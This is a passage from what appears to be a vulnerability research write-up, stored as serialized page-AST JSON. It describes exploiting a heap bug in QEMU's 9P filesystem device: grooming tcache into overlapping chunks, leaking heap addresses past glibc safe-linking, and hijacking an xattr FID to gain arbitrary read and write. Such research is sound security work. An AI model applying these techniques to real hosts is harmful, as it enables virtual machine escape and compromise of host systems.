|\n+----------+----------+----------+----------+----------+\n",[127447],{"type":20,"tag":119,"props":127448,"children":127449},{"__ignoreMap":7},[127450],{"type":26,"value":127445},{"type":20,"tag":29,"props":127452,"children":127453},{},[127454,127456,127461],{"type":26,"value":127455},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":20,"tag":119,"props":127457,"children":127459},{"className":127458},[],[127460],{"type":26,"value":126087},{"type":26,"value":2884},{"type":20,"tag":305,"props":127463,"children":127465},{"code":127464}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[127466],{"type":20,"tag":119,"props":127467,"children":127468},{"__ignoreMap":7},[127469],{"type":26,"value":127464},{"type":20,"tag":29,"props":127471,"children":127472},{},[127473,127475,127480],{"type":26,"value":127474},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":20,"tag":119,"props":127476,"children":127478},{"className":127477},[],[127479],{"type":26,"value":126087},{"type":26,"value":19146},{"type":20,"tag":305,"props":127482,"children":127484},{"code":127483}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[127485],{"type":20,"tag":119,"props":127486,"children":127487},{"__ignoreMap":7},[127488],{"type":26,"value":127483},{"type":20,"tag":29,"props":127490,"children":127491},{},[127492,127494,127500],{"type":26,"value":127493},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":20,"tag":119,"props":127495,"children":127497},{"className":127496},[],[127498],{"type":26,"value":127499},"0x400",{"type":26,"value":127501}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":20,"tag":305,"props":127503,"children":127505},{"code":127504}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[127506],{"type":20,"tag":119,"props":127507,"children":127508},{"__ignoreMap":7},[127509],{"type":26,"value":127504},{"type":20,"tag":219,"props":127511,"children":127513},{"id":127512},"leaking-a-heap-address",[127514],{"type":26,"value":127515},"Leaking a Heap Address",{"type":20,"tag":29,"props":127517,"children":127518},{},[127519],{"type":26,"value":127520},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":20,"tag":29,"props":127522,"children":127523},{},[127524,127526,127532],{"type":26,"value":127525},"To do this, we abuse the forward (",{"type":20,"tag":119,"props":127527,"children":127529},{"className":127528},[],[127530],{"type":26,"value":127531},"fd",{"type":26,"value":127533},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":20,"tag":305,"props":127535,"children":127537},{"code":127536},"fd = next ^ (curr >> 12)\n",[127538],{"type":20,"tag":119,"props":127539,"children":127540},{"__ignoreMap":7},[127541],{"type":26,"value":127536},{"type":20,"tag":29,"props":127543,"children":127544},{},[127545,127547,127552,127553,127558],{"type":26,"value":127546},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":20,"tag":119,"props":127548,"children":127550},{"className":127549},[],[127551],{"type":26,"value":55818},{"type":26,"value":3894},{"type":20,"tag":119,"props":127554,"children":127556},{"className":127555},[],[127557],{"type":26,"value":52748},{"type":26,"value":127559}," because there is no following entry. In that case, the encoding becomes:",{"type":20,"tag":305,"props":127561,"children":127563},{"code":127562},"fd = 0 ^ (curr >> 12)\n",[127564],{"type":20,"tag":119,"props":127565,"children":127566},{"__ignoreMap":7},[127567],{"type":26,"value":127562},{"type":20,"tag":29,"props":127569,"children":127570},{},[127571,127573,127578],{"type":26,"value":127572},"So if we free a single chunk into an empty tcache bin, its ",{"type":20,"tag":119,"props":127574,"children":127576},{"className":127575},[],[127577],{"type":26,"value":127531},{"type":26,"value":127579}," field is effectively just the chunk address shifted right by 12.",{"type":20,"tag":29,"props":127581,"children":127582},{},[127583],{"type":26,"value":127584},"In the overlap we achieved earlier:",{"type":20,"tag":305,"props":127586,"children":127588},{"code":127587}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[127589],{"type":20,"tag":119,"props":127590,"children":127591},{"__ignoreMap":7},[127592],{"type":26,"value":127587},{"type":20,"tag":29,"props":127594,"children":127595},{},[127596,127598,127604,127606,127612,127614,127620,127622,127627],{"type":26,"value":127597},"We first free ",{"type":20,"tag":119,"props":127599,"children":127601},{"className":127600},[],[127602],{"type":26,"value":127603},".value C",{"type":26,"value":127605}," into tcache and read its contents through the oversized ",{"type":20,"tag":119,"props":127607,"children":127609},{"className":127608},[],[127610],{"type":26,"value":127611},".value Y",{"type":26,"value":127613},". This gives us ",{"type":20,"tag":119,"props":127615,"children":127617},{"className":127616},[],[127618],{"type":26,"value":127619},".value C >> 12",{"type":26,"value":127621},". That is not yet the exact address of ",{"type":20,"tag":119,"props":127623,"children":127625},{"className":127624},[],[127626],{"type":26,"value":127603},{"type":26,"value":127628},", since the lower 12 bits are lost.",{"type":20,"tag":29,"props":127630,"children":127631},{},[127632,127634,127639,127641,127646,127648,127653,127655,127660],{"type":26,"value":127633},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":20,"tag":119,"props":127635,"children":127637},{"className":127636},[],[127638],{"type":26,"value":127603},{"type":26,"value":127640},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":20,"tag":119,"props":127642,"children":127644},{"className":127643},[],[127645],{"type":26,"value":127603},{"type":26,"value":127647}," again. This time, ",{"type":20,"tag":119,"props":127649,"children":127651},{"className":127650},[],[127652],{"type":26,"value":55818},{"type":26,"value":127654}," is no longer ",{"type":20,"tag":119,"props":127656,"children":127658},{"className":127657},[],[127659],{"type":26,"value":52748},{"type":26,"value":127661},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":20,"tag":305,"props":127663,"children":127664},{"code":127536},[127665],{"type":20,"tag":119,"props":127666,"children":127667},{"__ignoreMap":7},[127668],{"type":26,"value":127536},{"type":20,"tag":29,"props":127670,"children":127671},{},[127672,127674,127680,127682,127687,127689,127694,127696,127701],{"type":26,"value":127673},"Since we already know ",{"type":20,"tag":119,"props":127675,"children":127677},{"className":127676},[],[127678],{"type":26,"value":127679},"curr >> 12",{"type":26,"value":127681}," from the first leak, we can read the new ",{"type":20,"tag":119,"props":127683,"children":127685},{"className":127684},[],[127686],{"type":26,"value":127531},{"type":26,"value":127688}," value from ",{"type":20,"tag":119,"props":127690,"children":127692},{"className":127691},[],[127693],{"type":26,"value":127603},{"type":26,"value":127695}," and recover the exact address of ",{"type":20,"tag":119,"props":127697,"children":127699},{"className":127698},[],[127700],{"type":26,"value":55818},{"type":26,"value":127702}," by reversing the XOR:",{"type":20,"tag":305,"props":127704,"children":127706},{"code":127705},"next = fd ^ (curr >> 12)\n",[127707],{"type":20,"tag":119,"props":127708,"children":127709},{"__ignoreMap":7},[127710],{"type":26,"value":127705},{"type":20,"tag":29,"props":127712,"children":127713},{},[127714],{"type":26,"value":127715},"This gives us the exact address of a heap chunk whose contents we control.",{"type":20,"tag":219,"props":127717,"children":127719},{"id":127718},"arbitrary-read-and-write",[127720],{"type":26,"value":127721},"Arbitrary Read and Write",{"type":20,"tag":29,"props":127723,"children":127724},{},[127725,127727,127732],{"type":26,"value":127726},"Having a controlled chunk at a known address lets us repurpose ",{"type":20,"tag":119,"props":127728,"children":127730},{"className":127729},[],[127731],{"type":26,"value":127603},{"type":26,"value":127733}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":20,"tag":29,"props":127735,"children":127736},{},[127737,127739,127744],{"type":26,"value":127738},"Recall ",{"type":20,"tag":119,"props":127740,"children":127742},{"className":127741},[],[127743],{"type":26,"value":126207},{"type":26,"value":2884},{"type":20,"tag":305,"props":127746,"children":127748},{"code":127747,"language":1528,"meta":7,"className":14916,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[127749],{"type":20,"tag":119,"props":127750,"children":127751},{"__ignoreMap":7},[127752,127791,127798,127809,127824,127839,127846,127853,127860,127882,127889,127896,127903,127911,127928,127967,128010,128017],{"type":20,"tag":315,"props":127753,"children":127754},{"class":317,"line":318},[127755,127759,127763,127767,127771,127775,127779,127783,127787],{"type":20,"tag":315,"props":127756,"children":127757},{"style":541},[127758],{"type":26,"value":49296},{"type":20,"tag":315,"props":127760,"children":127761},{"style":541},[127762],{"type":26,"value":49301},{"type":20,"tag":315,"props":127764,"children":127765},{"style":328},[127766],{"type":26,"value":126202},{"type":20,"tag":315,"props":127768,"children":127769},{"style":345},[127770],{"type":26,"value":126207},{"type":20,"tag":315,"props":127772,"children":127773},{"style":328},[127774],{"type":26,"value":1049},{"type":20,"tag":315,"props":127776,"children":127777},{"style":541},[127778],{"type":26,"value":49879},{"type":20,"tag":315,"props":127780,"children":127781},{"style":334},[127782],{"type":26,"value":8216},{"type":20,"tag":315,"props":127784,"children":127785},{"style":635},[127786],{"type":26,"value":126224},{"type":20,"tag":315,"props":127788,"children":127789},{"style":328},[127790],{"type":26,"value":380},{"type":20,"tag":315,"props":127792,"children":127793},{"class":317,"line":356},[127794],{"type":20,"tag":315,"props":127795,"children":127796},{"style":328},[127797],{"type":26,"value":723},{"type":20,"tag":315,"props":127799,"children":127800},{"class":317,"line":365},[127801,127805],{"type":20,"tag":315,"props":127802,"children":127803},{"style":541},[127804],{"type":26,"value":53865},{"type":20,"tag":315,"props":127806,"children":127807},{"style":328},[127808],{"type":26,"value":122860},{"type":20,"tag":315,"props":127810,"children":127811},{"class":317,"line":374},[127812,127816,127820],{"type":20,"tag":315,"props":127813,"children":127814},{"style":328},[127815],{"type":26,"value":126349},{"type":20,"tag":315,"props":127817,"children":127818},{"style":334},[127819],{"type":26,"value":901},{"type":20,"tag":315,"props":127821,"children":127822},{"style":328},[127823],{"type":26,"value":126358},{"type":20,"tag":315,"props":127825,"children":127826},{"class":317,"line":383},[127827,127831,127835],{"type":20,"tag":315,"props":127828,"children":127829},{"style":328},[127830],{"type":26,"value":126349},{"type":20,"tag":315,"props":127832,"children":127833},{"style":334},[127834],{"type":26,"value":901},{"type":20,"tag":315,"props":127836,"children":127837},{"style":328},[127838],{"type":26,"value":126374},{"type":20,"tag":315,"props":127840,"children":127841},{"class":317,"line":407},[127842],{"type":20,"tag":315,"props":127843,"children":127844},{"emptyLinePlaceholder":15},[127845],{"type":26,"value":427},{"type":20,"tag":315,"props":127847,"children":127848},{"class":317,"line":421},[127849],{"type":20,"tag":315,"props":127850,"children":127851},{"style":328},[127852],{"type":26,"value":103059},{"type":20,"tag":315,"props":127854,"children":127855},{"class":317,"line":430},[127856],{"type":20,"tag":315,"props":127857,"children":127858},{"emptyLinePlaceholder":15},[127859],{"type":26,"value":427},{"type":20,"tag":315,"props":127861,"children":127862},{"class":317,"line":453},[127863,127868,127872,127877],{"type":20,"tag":315,"props":127864,"children":127865},{"style":328},[127866],{"type":26,"value":127867}," file_fidp ",{"type":20,"tag":315,"props":127869,"children":127870},{"style":334},[127871],{"type":26,"value":337},{"type":20,"tag":315,"props":127873,"children":127874},{"style":345},[127875],{"type":26,"value":127876}," get_fid",{"type":20,"tag":315,"props":127878,"children":127879},{"style":328},[127880],{"type":26,"value":127881},"(pdu, fid);\n",{"type":20,"tag":315,"props":127883,"children":127884},{"class":317,"line":486},[127885],{"type":20,"tag":315,"props":127886,"children":127887},{"emptyLinePlaceholder":15},[127888],{"type":26,"value":427},{"type":20,"tag":315,"props":127890,"children":127891},{"class":317,"line":499},[127892],{"type":20,"tag":315,"props":127893,"children":127894},{"style":328},[127895],{"type":26,"value":103059},{"type":20,"tag":315,"props":127897,"children":127898},{"class":317,"line":513},[127899],{"type":20,"tag":315,"props":127900,"children":127901},{"emptyLinePlaceholder":15},[127902],{"type":26,"value":427},{"type":20,"tag":315,"props":127904,"children":127905},{"class":317,"line":521},[127906],{"type":20,"tag":315,"props":127907,"children":127908},{"style":1071},[127909],{"type":26,"value":127910}," /* Make the file fid point to xattr */\n",{"type":20,"tag":315,"props":127912,"children":127913},{"class":317,"line":552},[127914,127919,127923],{"type":20,"tag":315,"props":127915,"children":127916},{"style":328},[127917],{"type":26,"value":127918}," xattr_fidp ",{"type":20,"tag":315,"props":127920,"children":127921},{"style":334},[127922],{"type":26,"value":337},{"type":20,"tag":315,"props":127924,"children":127925},{"style":328},[127926],{"type":26,"value":127927}," file_fidp;\n",{"type":20,"tag":315,"props":127929,"children":127930},{"class":317,"line":571},[127931,127935,127939,127943,127947,127951,127955,127959,127963],{"type":20,"tag":315,"props":127932,"children":127933},{"style":635},[127934],{"type":26,"value":126752},{"type":20,"tag":315,"props":127936,"children":127937},{"style":328},[127938],{"type":26,"value":12158},{"type":20,"tag":315,"props":127940,"children":127941},{"style":635},[127942],{"type":26,"value":35398},{"type":20,"tag":315,"props":127944,"children":127945},{"style":328},[127946],{"type":26,"value":61},{"type":20,"tag":315,"props":127948,"children":127949},{"style":635},[127950],{"type":26,"value":126676},{"type":20,"tag":315,"props":127952,"children":127953},{"style":328},[127954],{"type":26,"value":61},{"type":20,"tag":315,"props":127956,"children":127957},{"style":635},[127958],{"type":26,"value":7537},{"type":20,"tag":315,"props":127960,"children":127961},{"style":334},[127962],{"type":26,"value":1395},{"type":20,"tag":315,"props":127964,"children":127965},{"style":328},[127966],{"type":26,"value":122860},{"type":20,"tag":315,"props":127968,"children":127969},{"class":317,"line":2031},[127970,127974,127978,127982,127986,127990,127994,127998,128002,128006],{"type":20,"tag":315,"props":127971,"children":127972},{"style":635},[127973],{"type":26,"value":126752},{"type":20,"tag":315,"props":127975,"children":127976},{"style":328},[127977],{"type":26,"value":12158},{"type":20,"tag":315,"props":127979,"children":127980},{"style":635},[127981],{"type":26,"value":35398},{"type":20,"tag":315,"props":127983,"children":127984},{"style":328},[127985],{"type":26,"value":61},{"type":20,"tag":315,"props":127987,"children":127988},{"style":635},[127989],{"type":26,"value":126676},{"type":20,"tag":315,"props":127991,"children":127992},{"style":328},[127993],{"type":26,"value":61},{"type":20,"tag":315,"props":127995,"children":127996},{"style":635},[127997],{"type":26,"value":37568},{"type":20,"tag":315,"props":127999,"children":128000},{"style":334},[128001],{"type":26,"value":1395},{"type":20,"tag":315,"props":128003,"children":128004},{"style":345},[128005],{"type":26,"value":122431},{"type":20,"tag":315,"props":128007,"children":128008},{"style":328},[128009],{"type":26,"value":126789},{"type":20,"tag":315,"props":128011,"children":128012},{"class":317,"line":2053},[128013],{"type":20,"tag":315,"props":128014,"children":128015},{"emptyLinePlaceholder":15},[128016],{"type":26,"value":427},{"type":20,"tag":315,"props":128018,"children":128019},{"class":317,"line":2061},[128020],{"type":20,"tag":315,"props":128021,"children":128022},{"style":328},[128023],{"type":26,"value":103059},{"type":20,"tag":29,"props":128025,"children":128026},{},[128027,128029,128035,128037,128042,128043,128048,128050,128055,128057,128063,128064,128070,128072,128077,128078,128083],{"type":26,"value":128028},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":20,"tag":119,"props":128030,"children":128032},{"className":128031},[],[128033],{"type":26,"value":128034},"V9fsFidState",{"type":26,"value":128036}," object. In other words, if we can place a ",{"type":20,"tag":119,"props":128038,"children":128040},{"className":128039},[],[128041],{"type":26,"value":128034},{"type":26,"value":5717},{"type":20,"tag":119,"props":128044,"children":128046},{"className":128045},[],[128047],{"type":26,"value":127603},{"type":26,"value":128049}," currently sits, the overlapping ",{"type":20,"tag":119,"props":128051,"children":128053},{"className":128052},[],[128054],{"type":26,"value":127611},{"type":26,"value":128056}," chunk can overwrite ",{"type":20,"tag":119,"props":128058,"children":128060},{"className":128059},[],[128061],{"type":26,"value":128062},"V9fsFidState.fs.xattr.value",{"type":26,"value":9392},{"type":20,"tag":119,"props":128065,"children":128067},{"className":128066},[],[128068],{"type":26,"value":128069},"V9fsFidState.fs.xattr.len",{"type":26,"value":128071},". That would immediately give us arbitrary read and write through ",{"type":20,"tag":119,"props":128073,"children":128075},{"className":128074},[],[128076],{"type":26,"value":126865},{"type":26,"value":9392},{"type":20,"tag":119,"props":128079,"children":128081},{"className":128080},[],[128082],{"type":26,"value":126857},{"type":26,"value":61},{"type":20,"tag":29,"props":128085,"children":128086},{},[128087,128089,128094,128095,128100,128102,128107,128109,128115,128117,128122,128124,128129,128131,128136,128138,128143,128145,128150],{"type":26,"value":128088},"At this point, ",{"type":20,"tag":119,"props":128090,"children":128092},{"className":128091},[],[128093],{"type":26,"value":127603},{"type":26,"value":13845},{"type":20,"tag":119,"props":128096,"children":128098},{"className":128097},[],[128099],{"type":26,"value":126072},{"type":26,"value":128101}," chunk, while ",{"type":20,"tag":119,"props":128103,"children":128105},{"className":128104},[],[128106],{"type":26,"value":128034},{"type":26,"value":128108}," falls into the ",{"type":20,"tag":119,"props":128110,"children":128112},{"className":128111},[],[128113],{"type":26,"value":128114},"0x120",{"type":26,"value":128116}," size class. Before freeing ",{"type":20,"tag":119,"props":128118,"children":128120},{"className":128119},[],[128121],{"type":26,"value":127603},{"type":26,"value":128123},", we therefore use the oversized ",{"type":20,"tag":119,"props":128125,"children":128127},{"className":128126},[],[128128],{"type":26,"value":127611},{"type":26,"value":128130}," chunk to change its size to match ",{"type":20,"tag":119,"props":128132,"children":128134},{"className":128133},[],[128135],{"type":26,"value":128034},{"type":26,"value":128137},". Once ",{"type":20,"tag":119,"props":128139,"children":128141},{"className":128140},[],[128142],{"type":26,"value":127603},{"type":26,"value":128144}," is freed, it is inserted into the ",{"type":20,"tag":119,"props":128146,"children":128148},{"className":128147},[],[128149],{"type":26,"value":128114},{"type":26,"value":128151}," tcache bin.",{"type":20,"tag":305,"props":128153,"children":128155},{"code":128154}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[128156],{"type":20,"tag":119,"props":128157,"children":128158},{"__ignoreMap":7},[128159],{"type":26,"value":128154},{"type":20,"tag":29,"props":128161,"children":128162},{},[128163,128165,128170,128172,128178,128180,128186,128188,128193],{"type":26,"value":128164},"After that, we can simply allocate a new ",{"type":20,"tag":119,"props":128166,"children":128168},{"className":128167},[],[128169],{"type":26,"value":128034},{"type":26,"value":128171}," with a ",{"type":20,"tag":119,"props":128173,"children":128175},{"className":128174},[],[128176],{"type":26,"value":128177},"P9_TWALK",{"type":26,"value":128179}," request and a fresh FID - this reaches ",{"type":20,"tag":119,"props":128181,"children":128183},{"className":128182},[],[128184],{"type":26,"value":128185},"alloc_fid",{"type":26,"value":128187},", which allocates a new ",{"type":20,"tag":119,"props":128189,"children":128191},{"className":128190},[],[128192],{"type":26,"value":128034},{"type":26,"value":2884},{"type":20,"tag":305,"props":128195,"children":128197},{"code":128196,"language":1528,"meta":7,"className":14916,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[128198],{"type":20,"tag":119,"props":128199,"children":128200},{"__ignoreMap":7},[128201,128241,128248,128264,128292,128299,128306,128313,128334,128341,128356,128378,128402,128423,128434,128441,128479,128521,128528,128535,128542,128549,128556,128607,128614,128629,128636,128684,128696,128704,128733,128748,128755,128784,128791],{"type":20,"tag":315,"props":128202,"children":128203},{"class":317,"line":318},[128204,128208,128212,128216,128221,128225,128229,128233,128237],{"type":20,"tag":315,"props":128205,"children":128206},{"style":541},[128207],{"type":26,"value":49296},{"type":20,"tag":315,"props":128209,"children":128210},{"style":541},[128211],{"type":26,"value":49301},{"type":20,"tag":315,"props":128213,"children":128214},{"style":328},[128215],{"type":26,"value":126202},{"type":20,"tag":315,"props":128217,"children":128218},{"style":345},[128219],{"type":26,"value":128220},"v9fs_walk",{"type":20,"tag":315,"props":128222,"children":128223},{"style":328},[128224],{"type":26,"value":1049},{"type":20,"tag":315,"props":128226,"children":128227},{"style":541},[128228],{"type":26,"value":49879},{"type":20,"tag":315,"props":128230,"children":128231},{"style":334},[128232],{"type":26,"value":8216},{"type":20,"tag":315,"props":128234,"children":128235},{"style":635},[128236],{"type":26,"value":126224},{"type":20,"tag":315,"props":128238,"children":128239},{"style":328},[128240],{"type":26,"value":380},{"type":20,"tag":315,"props":128242,"children":128243},{"class":317,"line":356},[128244],{"type":20,"tag":315,"props":128245,"children":128246},{"style":328},[128247],{"type":26,"value":723},{"type":20,"tag":315,"props":128249,"children":128250},{"class":317,"line":365},[128251,128255,128259],{"type":20,"tag":315,"props":128252,"children":128253},{"style":328},[128254],{"type":26,"value":126349},{"type":20,"tag":315,"props":128256,"children":128257},{"style":334},[128258],{"type":26,"value":901},{"type":20,"tag":315,"props":128260,"children":128261},{"style":328},[128262],{"type":26,"value":128263},"fidp;\n",{"type":20,"tag":315,"props":128265,"children":128266},{"class":317,"line":374},[128267,128271,128275,128280,128284,128288],{"type":20,"tag":315,"props":128268,"children":128269},{"style":328},[128270],{"type":26,"value":126349},{"type":20,"tag":315,"props":128272,"children":128273},{"style":334},[128274],{"type":26,"value":901},{"type":20,"tag":315,"props":128276,"children":128277},{"style":328},[128278],{"type":26,"value":128279},"newfidp ",{"type":20,"tag":315,"props":128281,"children":128282},{"style":334},[128283],{"type":26,"value":337},{"type":20,"tag":315,"props":128285,"children":128286},{"style":541},[128287],{"type":26,"value":126028},{"type":20,"tag":315,"props":128289,"children":128290},{"style":328},[128291],{"type":26,"value":1405},{"type":20,"tag":315,"props":128293,"children":128294},{"class":317,"line":383},[128295],{"type":20,"tag":315,"props":128296,"children":128297},{"emptyLinePlaceholder":15},[128298],{"type":26,"value":427},{"type":20,"tag":315,"props":128300,"children":128301},{"class":317,"line":407},[128302],{"type":20,"tag":315,"props":128303,"children":128304},{"style":328},[128305],{"type":26,"value":103059},{"type":20,"tag":315,"props":128307,"children":128308},{"class":317,"line":421},[128309],{"type":20,"tag":315,"props":128310,"children":128311},{"emptyLinePlaceholder":15},[128312],{"type":26,"value":427},{"type":20,"tag":315,"props":128314,"children":128315},{"class":317,"line":430},[128316,128320,128325,128329],{"type":20,"tag":315,"props":128317,"children":128318},{"style":525},[128319],{"type":26,"value":10680},{"type":20,"tag":315,"props":128321,"children":128322},{"style":328},[128323],{"type":26,"value":128324}," (fid ",{"type":20,"tag":315,"props":128326,"children":128327},{"style":334},[128328],{"type":26,"value":538},{"type":20,"tag":315,"props":128330,"children":128331},{"style":328},[128332],{"type":26,"value":128333}," newfid) {\n",{"type":20,"tag":315,"props":128335,"children":128336},{"class":317,"line":453},[128337],{"type":20,"tag":315,"props":128338,"children":128339},{"style":328},[128340],{"type":26,"value":122297},{"type":20,"tag":315,"props":128342,"children":128343},{"class":317,"line":486},[128344,128348,128352],{"type":20,"tag":315,"props":128345,"children":128346},{"style":328},[128347],{"type":26,"value":14180},{"type":20,"tag":315,"props":128349,"children":128350},{"style":525},[128351],{"type":26,"value":1087},{"type":20,"tag":315,"props":128353,"children":128354},{"style":328},[128355],{"type":26,"value":1092},{"type":20,"tag":315,"props":128357,"children":128358},{"class":317,"line":499},[128359,128364,128368,128373],{"type":20,"tag":315,"props":128360,"children":128361},{"style":328},[128362],{"type":26,"value":128363}," newfidp ",{"type":20,"tag":315,"props":128365,"children":128366},{"style":334},[128367],{"type":26,"value":337},{"type":20,"tag":315,"props":128369,"children":128370},{"style":345},[128371],{"type":26,"value":128372}," alloc_fid",{"type":20,"tag":315,"props":128374,"children":128375},{"style":328},[128376],{"type":26,"value":128377},"(s, newfid);\n",{"type":20,"tag":315,"props":128379,"children":128380},{"class":317,"line":513},[128381,128385,128390,128394,128398],{"type":20,"tag":315,"props":128382,"children":128383},{"style":525},[128384],{"type":26,"value":1654},{"type":20,"tag":315,"props":128386,"children":128387},{"style":328},[128388],{"type":26,"value":128389}," (newfidp ",{"type":20,"tag":315,"props":128391,"children":128392},{"style":334},[128393],{"type":26,"value":538},{"type":20,"tag":315,"props":128395,"children":128396},{"style":541},[128397],{"type":26,"value":126028},{"type":20,"tag":315,"props":128399,"children":128400},{"style":328},[128401],{"type":26,"value":549},{"type":20,"tag":315,"props":128403,"children":128404},{"class":317,"line":521},[128405,128410,128414,128418],{"type":20,"tag":315,"props":128406,"children":128407},{"style":328},[128408],{"type":26,"value":128409}," err ",{"type":20,"tag":315,"props":128411,"children":128412},{"style":334},[128413],{"type":26,"value":337},{"type":20,"tag":315,"props":128415,"children":128416},{"style":334},[128417],{"type":26,"value":49507},{"type":20,"tag":315,"props":128419,"children":128420},{"style":328},[128421],{"type":26,"value":128422},"EINVAL;\n",{"type":20,"tag":315,"props":128424,"children":128425},{"class":317,"line":552},[128426,128430],{"type":20,"tag":315,"props":128427,"children":128428},{"style":525},[128429],{"type":26,"value":58803},{"type":20,"tag":315,"props":128431,"children":128432},{"style":328},[128433],{"type":26,"value":58808},{"type":20,"tag":315,"props":128435,"children":128436},{"class":317,"line":571},[128437],{"type":20,"tag":315,"props":128438,"children":128439},{"style":328},[128440],{"type":26,"value":1728},{"type":20,"tag":315,"props":128442,"children":128443},{"class":317,"line":2031},[128444,128449,128453,128458,128462,128467,128471,128475],{"type":20,"tag":315,"props":128445,"children":128446},{"style":635},[128447],{"type":26,"value":128448}," newfidp",{"type":20,"tag":315,"props":128450,"children":128451},{"style":328},[128452],{"type":26,"value":12158},{"type":20,"tag":315,"props":128454,"children":128455},{"style":635},[128456],{"type":26,"value":128457},"uid",{"type":20,"tag":315,"props":128459,"children":128460},{"style":334},[128461],{"type":26,"value":1395},{"type":20,"tag":315,"props":128463,"children":128464},{"style":635},[128465],{"type":26,"value":128466}," fidp",{"type":20,"tag":315,"props":128468,"children":128469},{"style":328},[128470],{"type":26,"value":12158},{"type":20,"tag":315,"props":128472,"children":128473},{"style":635},[128474],{"type":26,"value":128457},{"type":20,"tag":315,"props":128476,"children":128477},{"style":328},[128478],{"type":26,"value":1405},{"type":20,"tag":315,"props":128480,"children":128481},{"class":317,"line":2053},[128482,128487,128491,128495,128500,128504,128508,128512,128516],{"type":20,"tag":315,"props":128483,"children":128484},{"style":345},[128485],{"type":26,"value":128486}," v9fs_path_copy",{"type":20,"tag":315,"props":128488,"children":128489},{"style":328},[128490],{"type":26,"value":1049},{"type":20,"tag":315,"props":128492,"children":128493},{"style":334},[128494],{"type":26,"value":1490},{"type":20,"tag":315,"props":128496,"children":128497},{"style":635},[128498],{"type":26,"value":128499},"newfidp",{"type":20,"tag":315,"props":128501,"children":128502},{"style":328},[128503],{"type":26,"value":12158},{"type":20,"tag":315,"props":128505,"children":128506},{"style":635},[128507],{"type":26,"value":110582},{"type":20,"tag":315,"props":128509,"children":128510},{"style":328},[128511],{"type":26,"value":44},{"type":20,"tag":315,"props":128513,"children":128514},{"style":334},[128515],{"type":26,"value":1490},{"type":20,"tag":315,"props":128517,"children":128518},{"style":328},[128519],{"type":26,"value":128520},"path);\n",{"type":20,"tag":315,"props":128522,"children":128523},{"class":317,"line":2061},[128524],{"type":20,"tag":315,"props":128525,"children":128526},{"style":328},[128527],{"type":26,"value":1736},{"type":20,"tag":315,"props":128529,"children":128530},{"class":317,"line":2070},[128531],{"type":20,"tag":315,"props":128532,"children":128533},{"emptyLinePlaceholder":15},[128534],{"type":26,"value":427},{"type":20,"tag":315,"props":128536,"children":128537},{"class":317,"line":2139},[128538],{"type":20,"tag":315,"props":128539,"children":128540},{"style":328},[128541],{"type":26,"value":103059},{"type":20,"tag":315,"props":128543,"children":128544},{"class":317,"line":2147},[128545],{"type":20,"tag":315,"props":128546,"children":128547},{"style":328},[128548],{"type":26,"value":577},{"type":20,"tag":315,"props":128550,"children":128551},{"class":317,"line":2177},[128552],{"type":20,"tag":315,"props":128553,"children":128554},{"emptyLinePlaceholder":15},[128555],{"type":26,"value":427},{"type":20,"tag":315,"props":128557,"children":128558},{"class":317,"line":2185},[128559,128563,128568,128572,128576,128581,128585,128589,128593,128598,128603],{"type":20,"tag":315,"props":128560,"children":128561},{"style":541},[128562],{"type":26,"value":49296},{"type":20,"tag":315,"props":128564,"children":128565},{"style":328},[128566],{"type":26,"value":128567}," V9fsFidState 